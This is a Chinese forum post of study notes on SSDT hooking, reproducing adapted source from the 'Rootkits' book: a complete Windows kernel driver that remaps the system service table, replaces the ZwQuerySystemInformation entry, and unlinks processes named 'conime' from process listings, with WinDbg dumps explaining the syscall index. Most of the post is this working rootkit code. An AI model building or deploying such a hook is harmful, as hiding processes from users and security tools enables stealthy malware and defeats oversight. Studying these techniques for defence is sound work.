看流星社区

 找回密码
 注册账号
查看: 2949|回复: 0

ssdt hook学习笔记 - rookits源码学习

[复制链接]

该用户从未签到

发表于 2011-8-6 08:52:45 | 显示全部楼层 |阅读模式
刚学HOOK的来看看吧,希望有帮助。

首先推荐的一文章是 随落天才的hook inline对抗r0hook一文,里面对ssdt说得比较明白
还有参照rootkits-安全防护第四章。
然后百度extern  [__declspec(dllimport) ]  #pragma pack(1)  函数指针。等。

这里的原理是,得到ssdt表,然后根据ID号查找ssdt表里的所在的数值,这个数值是指向直正函数的地址,HOOK SSDT是替换这个数值,从而使得当调用zwquerysysteminformation这个API函数时,从ssdt查找到的地址,其实是指向新函数的地址,从而可以过滤。。。。

zwquerysysteminformation的hook原理,请参照安全防护的那个图,及百度他的用法说明。

还有interlockedexchange只改变第一个参数的值。

下面的是第四章的源码,改之。

PS:这个进程时间有用否?
  1. #include <ntddk.h>
  2. //define struct dd !KeServiceDescriptorTable
  3. typedef struct _SERVICE_DESCRIPTOR_TABLE {
  4.     PULONG   ServiceTableBase;
  5.     PULONG  ServiceCounterTableBase;
  6.     ULONG   NumberOfService;
  7.     PULONG   ParamTableBase;
  8. } SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;

  9. extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;

  10. /**********************************************************************************/
  11. struct _SYSTEM_THREADS
  12. {
  13.   LARGE_INTEGER           KernelTime;
  14.   LARGE_INTEGER           UserTime;
  15.   LARGE_INTEGER           CreateTime;
  16.   ULONG                           WaitTime;
  17.   PVOID                           StartAddress;
  18.   CLIENT_ID                       ClientIs;
  19.   KPRIORITY                       Priority;
  20.   KPRIORITY                       BasePriority;
  21.   ULONG                           ContextSwitchCount;
  22.   ULONG                           ThreadState;
  23.   KWAIT_REASON            WaitReason;
  24. };

  25. struct _SYSTEM_PROCESSES
  26. {
  27.   ULONG                           NextEntryDelta;
  28.   ULONG                           ThreadCount;
  29.   ULONG                           Reserved[6];
  30.   LARGE_INTEGER           CreateTime;
  31.   LARGE_INTEGER           UserTime;
  32.   LARGE_INTEGER           KernelTime;
  33.   UNICODE_STRING          ProcessName;
  34.   KPRIORITY                       BasePriority;
  35.   ULONG                           ProcessId;
  36.   ULONG                           InheritedFromProcessId;
  37.   ULONG                           HandleCount;
  38.   ULONG                           Reserved2[2];
  39.   VM_COUNTERS                     VmCounters;
  40.   IO_COUNTERS                     IoCounters; //windows 2000 only
  41.   struct _SYSTEM_THREADS          Threads[1];
  42. };
  43. // Added by Creative of rootkit.com
  44. /*struct _SYSTEM_PROCESSOR_TIMES
  45. {
  46.   LARGE_INTEGER          IdleTime;
  47.   LARGE_INTEGER          KernelTime;
  48.   LARGE_INTEGER          UserTime;
  49.   LARGE_INTEGER          DpcTime;
  50.   LARGE_INTEGER          InterruptTime;
  51.   ULONG              InterruptCount;
  52. };*/
  53. /**********************************************************************************/

  54. /**********************************************************************************/
  55. ///////////////////////////////////////////////////////////////////////////////////////////
  56. NTSYSAPI
  57. NTSTATUS
  58. NTAPI ZwQuerySystemInformation(
  59.                  IN ULONG SystemInformationClass,
  60.                  IN PVOID SystemInformation,
  61.                  IN ULONG SystemInformationLength,
  62.                         OUT PULONG ReturnLength);
  63. //define function point for [ZWQUERYSYSTEMINFORMATION]
  64. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
  65.                        ULONG SystemInformationCLass,
  66.                        PVOID SystemInformation,
  67.                        ULONG SystemInformationLength,
  68.                        PULONG ReturnLength
  69.                        );
  70. //define function point var
  71. ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
  72. ///////////////////////////////////////////////////////////////////////////////////////////
  73. /**********************************************************************************/


  74. /**********************************************************************************/
  75. PMDL  pMdlSsdt;
  76. PVOID *ppMapSystemCallTable;
  77. /**********************************************************************************/
  78. VOID HookUnload(IN PDRIVER_OBJECT pDriverObject);
  79. VOID TestPrintf();
  80. //Hook Function define
  81. NTSTATUS HookZwQuerySystemInformation(
  82.                    IN ULONG SystemInformationClass,
  83.                    IN PVOID SystemInformation,
  84.                    IN ULONG SystemInformationLength,
  85.             OUT PULONG ReturnLength);
  86. /**********************************************************************************/


  87. NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pUserviceRegPath)
  88. {
  89.   pDriverObject->DriverUnload=HookUnload;

  90. /**********************************************************************************/
  91. //  Map the memory into our domain so we can change the permissions on the MDL
  92.   pMdlSsdt = MmCreateMdl(NULL, KeServiceDescriptorTable->ServiceTableBase, KeServiceDescriptorTable->NumberOfService*4);
  93.   if(!pMdlSsdt)
  94.   {
  95.     return STATUS_UNSUCCESSFUL;
  96.   }  
  97.   MmBuildMdlForNonPagedPool(pMdlSsdt);  
  98. //  Change the flags of the MDL
  99.   pMdlSsdt->MdlFlags = pMdlSsdt->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;  
  100.     ppMapSystemCallTable = MmMapLockedPages(pMdlSsdt, KernelMode);
  101. //  MmMapLockedPages地址返回的是同ssdt的地址相同
  102. /**********************************************************************************/
  103. //  TestPrintf();
  104.   /*
  105.   c=InterlockedExchange(&a,b)
  106.   把a与b的值交换,并返回a之前的值
  107.   OldZwQuerySystemInformation是原来函数的值,但现在ZwQuerySystemInformation这个
  108.   函数在ssdt表里的地址已变成HookZwQuerySystemInformation的地址  
  109.   */
  110.   OldZwQuerySystemInformation = (PVOID) InterlockedExchange( (PLONG) &ppMapSystemCallTable[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)], (LONG) HookZwQuerySystemInformation);
  111.   return STATUS_SUCCESS;
  112. }

  113. VOID HookUnload(IN PDRIVER_OBJECT pDriverObject)
  114. {
  115.   KdPrint(("HookUnload\n"));
  116.   InterlockedExchange( (PLONG) &ppMapSystemCallTable[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)], (LONG)OldZwQuerySystemInformation);  
  117. //  Unlock and Free MDL
  118.   if(pMdlSsdt)
  119.   {
  120.     MmUnmapLockedPages(ppMapSystemCallTable, pMdlSsdt);
  121.     IoFreeMdl(pMdlSsdt);
  122.   }
  123. }


  124. /**********************************************************************************/
  125. NTSTATUS HookZwQuerySystemInformation(
  126.                    IN ULONG SystemInformationClass,
  127.                    IN PVOID SystemInformation,
  128.                    IN ULONG SystemInformationLength,
  129.                    OUT PULONG ReturnLength)
  130. {
  131.   
  132.   NTSTATUS ntStatus;
  133.   
  134.   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
  135.     SystemInformationClass,
  136.     SystemInformation,
  137.     SystemInformationLength,
  138.     ReturnLength );
  139.   
  140.   if( NT_SUCCESS(ntStatus))
  141.   {
  142.     // Asking for a file and directory listing
  143.     if(SystemInformationClass == 5)
  144.     {
  145.       // This is a query for the process list.
  146.       // Look for process names that start with
  147.       // '_root_' and filter them out.
  148.       struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
  149.       struct _SYSTEM_PROCESSES *prev = NULL;
  150.       
  151.       while(curr)
  152.       {
  153.         //DbgPrint("Current item is %x\n", curr);
  154.         if (curr->ProcessName.Buffer != NULL)
  155.         {
  156.           if(0 == memcmp(curr->ProcessName.Buffer, L"conime", 12))
  157.           {            
  158.             if(prev) // Middle or Last entry
  159.             {
  160.               if(curr->NextEntryDelta)
  161.                 prev->NextEntryDelta += curr->NextEntryDelta;
  162.               else  // we are last, so make prev the end
  163.                 prev->NextEntryDelta = 0;
  164.             }
  165.             else
  166.             {
  167.               if(curr->NextEntryDelta)
  168.               {
  169.                 // we are first in the list, so move it forward
  170.                 (char *)SystemInformation += curr->NextEntryDelta;
  171.               }
  172.               else // we are the only process!
  173.                 SystemInformation = NULL;
  174.             }
  175.           }
  176.         }

  177.         prev = curr;
  178.         if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
  179.         else curr = NULL;
  180.       }
  181.     }
  182.    
  183.   }
  184.   return ntStatus;
  185. }
  186. /**********************************************************************************/







  187. VOID TestPrintf()
  188. {
  189.   ULONG FunAddress,pFunAddress;

  190.   FunAddress=*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
  191.   KdPrint(("%08x\n",FunAddress));//FunAddress=ADh
  192.   pFunAddress=KeServiceDescriptorTable->ServiceTableBase[FunAddress];
  193.   KdPrint(("%08x\n",pFunAddress));//pFunAddress=8057e786
  194.   /*
  195.   KeServiceDescriptorTable->ServiceTableBase[FunAddress]
  196.   这个表示KeServiceDescriptorTable中的ID为ADh里的数据,这个数据就是ZwQuerySystemInformation用sysenter指令后
  197.   在内核里的NtQuerySystemInformation函数的地址。
  198.   lkd> u 8057e786
  199.   nt!NtQuerySystemInformation:
  200.   8057e786 6810020000      push    210h
  201.   8057e78b 6830ab4e80      push    offset nt!ExTraceAllTables+0x1eb (804eab30)
  202.   8057e790 e8a64cf6ff      call    nt!_SEH_prolog (804e343b)
  203.   8057e795 33c0            xor     eax,eax
  204.   8057e797 8945e4          mov     dword ptr [ebp-1Ch],eax
  205.   8057e79a 8945dc          mov     dword ptr [ebp-24h],eax
  206.   8057e79d 8945fc          mov     dword ptr [ebp-4],eax
  207.   8057e7a0 64a124010000    mov     eax,dword ptr fs:[00000124h]

  208.   KeServiceDescriptorTable
  209.   是一张表,他的起始地址是->ServiceTableBase 804e36a8这里,
  210.   8055a680  804e36a8 00000000 0000011c 80513eb8
  211.   服务函数0000011c个。
  212.   804e36a8这个地址开始的就是服务函数的地址
  213.   lkd> dd 804e36a8
  214.   804e36a8  80580302 80579b8c 8058b7ae 805907e4
  215.   804e36b8  805905fe 806377a0 80639931 8063997a
  216.   804e36c8  8057560b 806481cf 80636f5f 8058fb85
  217.   804e36d8  8062f0a4 8057be31 8058cc26 806261bd
  218.   804e36e8  805dcf20 80568f9d 805d9ac1 ffaf38a0
  219.   804e36f8  804e3cb4 806481bb 805ca22c 804f0e28
  220.   804e3708  80569649 80567d49 8058fff3 8064e1c1
  221.   804e3718  8058f8f5 80581225 8064e42f 8058b800
  222.   上面这些都是函数地址
  223.   80580302 80579b8c 8058b7ae 805907e4
  224.   序号为1    2         3        4
  225.   这里可以说是一个DWORD数组
  226.   所以序号为ADh的话,就直接用KeServiceDescriptorTable->ServiceTableBase[0xad]得到函数地址
  227.   */


  228. //  pFunAddress=(PULONG)ZwQuerySystemInformation;
  229. //  KdPrint(("%08x\n",pFunAddress));//804de440 函数名是一个地址,是这个函数的起始地址
  230.   /*
  231. ////////////////////////////////////////////////////////////////////////////////////////
  232.   pp=(PULONG)MessageBox;//function address = 77D5058A user32.MessageBoxA
  233.   0040B548   mov         eax,[__imp__MessageBoxA@16 (00424290)] //eax=77D5058A
  234.   0040B54D   mov         dword ptr [ebp-10h],eax

  235.   mov eax,MessageBox ;函数名就是一个地址。call 地址
  236. //
  237.     add eax,2 ;地址加2   jmp+地址 =2+4 =6字节
  238.   mov eax,[eax] ;jmp 的地址
  239.   mov eax,[eax] ;地址的地址
  240. //
  241.   mov eax,DWORD PTR [MessageBox+2]
  242.   mov eax,DWORD PTR [eax]
  243. ////////////////////////////////////////////////////////////////////////////////////////
  244.   调用ZwQuerySystemInformation时进入sysenter的ID是0ADh,系统经查KeServiceDescriptorTable,
  245.   从而得到NtQuerySystemInformation函数的地址
  246.   NtQuerySystemInformation这个就是要HOOK的函数

  247.   0ADh*4+KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e36a8)=804e395c

  248.   lkd> dd !KeServiceDescriptorTable
  249.   8055a680  804e36a8 00000000 0000011c 80513eb8
  250.   8055a690  00000000 00000000 00000000 00000000
  251.   8055a6a0  00000000 00000000 00000000 00000000
  252.   8055a6b0  00000000 00000000 00000000 00000000
  253.   8055a6c0  00002730 bf80c25d 00000000 00000000
  254.   8055a6d0  f971aa80 f8ff99e0 812a70f0 812a7a90
  255.   8055a6e0  00000000 00000000 00000000 00000000
  256.   8055a6f0  b5685a40 01ca8e60 00000000 00000000
  257.   0ADh*4+KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e36a8)=804e395c

  258.   lkd> dd 804e395c
  259.   804e395c  8057e786 80590ad0 80591857 805871f3
  260.   804e396c  8056c103 8056d338 80570e3b 8059068f
  261.   804e397c  804e303a 806477af 805710d8 805dae6c
  262.   804e398c  8058f6a6 8057b545 8057dbee 80566809
  263.   804e399c  8058b492 80567272 8065a3d6 8064e029
  264.   804e39ac  8064e51e 8057f307 8056ae96 8056a9ae
  265.   804e39bc  80622b92 8062b803 8058aa2c 80576f2a
  266.   804e39cc  8062b5fc 8059d753 8053c14a 8064d042

  267.   lkd> u 8057e786
  268.   nt!NtQuerySystemInformation:
  269.   8057e786 6810020000      push    210h
  270.   8057e78b 6830ab4e80      push    offset nt!ExTraceAllTables+0x1eb (804eab30)
  271.   8057e790 e8a64cf6ff      call    nt!_SEH_prolog (804e343b)
  272.   8057e795 33c0            xor     eax,eax
  273.   8057e797 8945e4          mov     dword ptr [ebp-1Ch],eax
  274.   8057e79a 8945dc          mov     dword ptr [ebp-24h],eax
  275.   8057e79d 8945fc          mov     dword ptr [ebp-4],eax
  276.   8057e7a0 64a124010000    mov     eax,dword ptr fs:[00000124h]



  277.   lkd> u ZwQuerySystemInformation
  278.   nt!ZwQuerySystemInformation:
  279.   804de440 b8ad000000      mov     eax,0ADh
  280.   804de445 8d542404        lea     edx,[esp+4]
  281.   804de449 9c              pushfd
  282.   804de44a 6a08            push    8
  283.   804de44c e8e0110000      call    nt!KiSystemService (804df631)
  284.   804de451 c21000          ret     10h
  285.   nt!ZwQuerySystemTime:
  286.   804de454 b8ae000000      mov     eax,0AEh
  287.   804de459 8d542404        lea     edx,[esp+4]
  288.   这里我们要得到的是那个进入sysenter的id,因为函数名表示的地址是指这个地址804de440
  289.   要得到0ADh这个ID号
  290.   因为b8ad000000      mov     eax,0ADh这条指令中mov的机器码是b8占一个字节,
  291.   ad000000这个占四个字节的就是这个ID。[数据存放的方式是低位放在低位,高位放在高位,
  292.   所以000000ad在内存中的存放是ad000000]
  293.   (PUCHAR)ZwQuerySystemInformation这个是把8055a680这个地址转为PUCHAR类型指针
  294.   ((PUCHAR)ZwQuerySystemInformation+1)PUCHAR指针+1,移动的是一个这个类型的大小单位[这里移动一个字节,比如
  295.   PULONG+1那么这里将会移动四个字节。]所以这时地址在8055a681的地址,其实移动的那个字节就是mov的机器码,下面四个
  296.   就是这个ID号
  297.   *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);再把从8055a681开始的指针转为PULONG型地址,四位刚好是那个ID号
  298.   */
  299. }
复制代码
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-4-25 07:02

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表